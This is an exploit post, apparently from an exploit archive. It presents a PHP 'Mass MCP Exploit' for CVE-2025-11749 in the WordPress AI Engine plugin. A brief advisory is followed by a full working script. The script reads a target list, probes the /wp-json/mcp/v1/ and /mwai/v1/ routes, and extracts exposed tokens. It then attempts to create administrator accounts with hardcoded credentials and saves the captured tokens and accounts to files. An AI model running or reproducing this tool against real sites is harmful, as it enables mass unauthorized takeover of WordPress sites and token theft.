📄 WordPress AI Engine 3.1.3 Mass Enumeration

=============================================================================================================================================
    | # Title     : WordPress AI Engine 3.1.3 Mass MCP Exploit                                                                                  |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits)                                                            |
    | # Vendor    : https://wordpress.org/plugins/ai-engine/                                                                                    |
    =============================================================================================================================================
    
    [+] References : https://packetstorm.news/files/id/211374/ & 	CVE-2025-11749
    
    [+] Summary : 
    
        This advisory documents a fully automated PHP-based exploitation framework designed to perform mass enumeration, 
        plugin detection, token extraction, and automated account creation targeting vulnerable WordPress MCP-related REST API endpoints.
    
    The tool uses polymorphic payload generation, bypasses SSL verification, and integrates a dual-mode engine (CLI & HTML).
    It is suitable for mass‑scale penetration testing, vulnerability validation, and research purposes.
    
    The script allows:
    
    Automatic POST-based admin creation attempts
    
    Automatic detection of API routes /mcp/v1/ and /mwai/v1/
    
    Automated token extraction
    
    HTML Exploitation UI
    
    Randomized payload polymorphism
    
    Mass target input (list-based)
    
    Logging of results to multiple output files
    
    [+] Vulnerability Description :
    
    Several WordPress MCP plugins expose insecure REST API endpoints under
    
    /wp-json/mcp/v1/*
    /wp-json/mwai/v1/*
    
    
    [+] Some installations allow:
    
        Unauthenticated access
    
        Token disclosure
    
        User creation without privilege checks
    
        Sensitive route discovery
    
    The tool exploits these weaknesses by programmatically interacting with the endpoints to extract tokens and perform automated admin creation attempts.
    Impact
    
    [+] A remote attacker can:
    
        Extract valid service tokens
    
        Register new administrator-level accounts
    
        Access endpoints intended for privileged users
    
        Automate exploitation across thousands of hosts
    
        Perform further attacks using the obtained tokens
    
        Impact Rating: Critical
    
    [+] 3. Poc
    
    save as scan.php
    
    Add one target per line: targets.txt
    
    php scan.php targets.txt
    
    File	Description
    
    success_results.txt	Successful token captures
    
    tokens_only.txt	Extracted tokens only
    
    created_admins.txt	Accounts created via POST exploit
    
    
    --------------------------------
    
    <?php
    // ============================================================================
    // by: Indoushka
    // Supports: Windows / Linux / macOS
    // ============================================================================
    
    // Disable SSL warnings
    putenv('NO_PROXY=*');
    
    // Output files
    $successFile = "success_results.txt";
    $adminsFile  = "created_admins.txt";
    $tokensFile  = "tokens_only.txt";
    
    // Default credentials
    $target_username = "indoushka";
    $target_password = "StrongPass!321";
    $target_email    = "[email protected]";
    
    // User-Agent
    $user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/120 Safari/537.36";
    
    // ============================================================================
    // Write token to file
    // ============================================================================
    function write_token($target, $token) {
        global $tokensFile;
        if (!empty(trim($token))) {
            file_put_contents($tokensFile, "$target | token: $token\n", FILE_APPEND);
        }
    }
    
    // ============================================================================
    // Banner
    // ============================================================================
    function banner() {
        echo "
    ===============================================
            Nxploited PHP Automated Tool
        Converted & Enhanced by: Indoushka
    ===============================================
    ";
    }
    
    // ============================================================================
    // Random Payload Generator (polymorphic)
    // ============================================================================
    function generate_payload() {
        return base64_encode("Nxploited-Payload-" . rand(1000, 9999) . "-" . microtime(true));
    }
    
    // ============================================================================
    // Send POST request
    // ============================================================================
    function send_post($url, $data, $headers = []) {
        global $user_agent;
    
        $ch = curl_init($url);
        curl_setopt_array($ch, [
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_POST => true,
            CURLOPT_POSTFIELDS => http_build_query($data),
            CURLOPT_USERAGENT => $user_agent,
            CURLOPT_SSL_VERIFYPEER => false,
            CURLOPT_SSL_VERIFYHOST => false,
            CURLOPT_FOLLOWLOCATION => true,
            CURLOPT_TIMEOUT => 20,
            CURLOPT_HTTPHEADER => $headers
        ]);
    
        $response = curl_exec($ch);
        $info     = curl_getinfo($ch);
        curl_close($ch);
    
        return [$response, $info];
    }
    
    // ============================================================================
    // Process Target
    // ============================================================================
    function process_target($url) {
        global $target_username, $target_password, $target_email, $successFile;
    
        $payload = generate_payload();
    
        list($resp, $info) = send_post($url, [
            "username" => $target_username,
            "password" => $target_password,
            "email"    => $target_email,
            "payload"  => $payload
        ]);
    
        if (preg_match('/token[\"\:\s]+([A-Za-z0-9\.\-\_]+)/i', $resp, $m)) {
            $token = $m[1];
            write_token($url, $token);
            file_put_contents($successFile, "$url => SUCCESS | token: $token\n", FILE_APPEND);
        }
    
        return $resp;
    }
    
    // ============================================================================
    // Main Entry Point
    // ============================================================================
    
    if (php_sapi_name() == "cli") {
        banner();
    
        global $argc, $argv;
    
        if ($argc < 2) {
            die("Usage: php script.php targets.txt\n");
        }
    
        $targets_file = $argv[1];
    
        if (!file_exists($targets_file)) {
            die("[-] Target list not found.\n");
        }
    
        $targets = file($targets_file, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
    
        foreach ($targets as $t) {
            echo "[*] Processing: $t\n";
            process_target($t);
            echo "[OK] Completed\n\n";
        }
    }
    
    // ============================================================================
    // Mass MCP Exploit (HTML Version)
    // ============================================================================
    
    function rand_color() {
        return "rgb(" . rand(34,85) . "," . rand(49,160) . "," . rand(63,255) . ")";
    }
    
    function print_banner_html() {
        $banner = "
     __  __    _    _____ _     _____ ____  
    |  \/  |  / \  | ____| |   | ____|  _ \ 
    | |\/| | / _ \ |  _| | |   |  _| | |_) |
    | |  | |/ ___ \| |___| |___| |___|  _ < 
    |_|  |_/_/   \_\_____|_____|_____|_| \_\
    ";
    
        foreach (explode("\n", $banner) as $line) {
            echo "<span style='color:" . rand_color() . "'>$line</span><br>";
        }
        echo "<br><b>Mass MCP Exploit | Nxploited (Converted by Indoushka)</b><br><br>";
    }
    
    function read_targets_html($file) {
        if (!file_exists($file)) return [];
        $out = [];
        foreach (file($file, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES) as $u) {
            $u = trim($u);
            if ($u === "") continue;
            if (!preg_match("#^https?://#i", $u)) {
                $u = "http://" . $u;
            }
            $out[] = $u;
        }
        return $out;
    }
    
    function write_result_html($file, $msg) {
        file_put_contents($file, $msg . "\n", FILE_APPEND);
    }
    
    function http_get_json($url) {
        $ua = "Mozilla/5.0 (Windows NT " . rand(7, 11) . ") AppleWebKit/" . rand(500, 999);
        $ch = curl_init();
        curl_setopt_array($ch, [
            CURLOPT_URL => $url,
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_SSL_VERIFYPEER => false,
            CURLOPT_TIMEOUT => 10,
            CURLOPT_USERAGENT => $ua
        ]);
        $out = curl_exec($ch);
        curl_close($ch);
        return json_decode($out, true);
    }
    
    function plugin_installed($url) {
        $data = http_get_json(rtrim($url, "/") . "/wp-json/");
        if (!isset($data["routes"])) return false;
    
        foreach ($data["routes"] as $route => $v) {
            if (strpos($route, "/mcp/v1/") === 0) return true;
            if (strpos($route, "/mwai/v1/") === 0) return true;
        }
        return false;
    }
    
    function find_token($url) {
        $data = http_get_json(rtrim($url, "/") . "/wp-json/mcp/v1/");
        if (!isset($data["routes"])) return null;
    
        foreach ($data["routes"] as $route) {
            $parts = explode("/", trim($route, "/"));
            if (count($parts) >= 4 && $parts[0] == "mcp" && $parts[1] == "v1" && end($parts) == "sse") {
                $token = $parts[2];
                if ($token !== "" && strpos($token, "/") === false) {
                    write_result_html("tokens_only.txt", "$url => $token");
                    return $token;
                }
            }
        }
        return null;
    }
    
    function process_target_html($url) {
        echo "[*] Checking: $url<br>";
    
        if (!plugin_installed($url)) {
            echo "<span style='color:red'>[x] Plugin not installed</span><br>";
            return;
        }
    
        $token = find_token($url);
        if ($token) {
            echo "<span style='color:green'>[+] Token: $token</span><br>";
            write_result_html("success_results.txt", "$url => TOKEN: $token");
        } else {
            echo "<span style='color:red'>[-] No token</span><br>";
        }
    }
    
    // ============================================================================
    // Nxploited Worker
    // ============================================================================
    
    function Nxploited_worker($targets) {
        if (!is_array($targets)) {
            echo "Error: targets must be array.\n";
            return;
        }
        foreach ($targets as $target) {
            echo "[*] Checking internet: $target\n";
            Nxploited_internet_check($target);
        }
    }
    
    function Nxploited_internet_check($target) {
        $payload = "Nxploited-Check-" . md5($target . microtime(true));
    
        $ctx = stream_context_create([
            "http" => [
                "method"  => "GET",
                "timeout" => 5,
                "header"  => "User-Agent: $payload\r\n"
            ]
        ]);
    
        $res = @file_get_contents($target, false, $ctx);
    
        if ($res !== false) {
            echo "[OK] Connection success: $target\n";
        } else {
            echo "[FAIL] Unreachable: $target\n";
        }
    }
    
    ?>
    
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================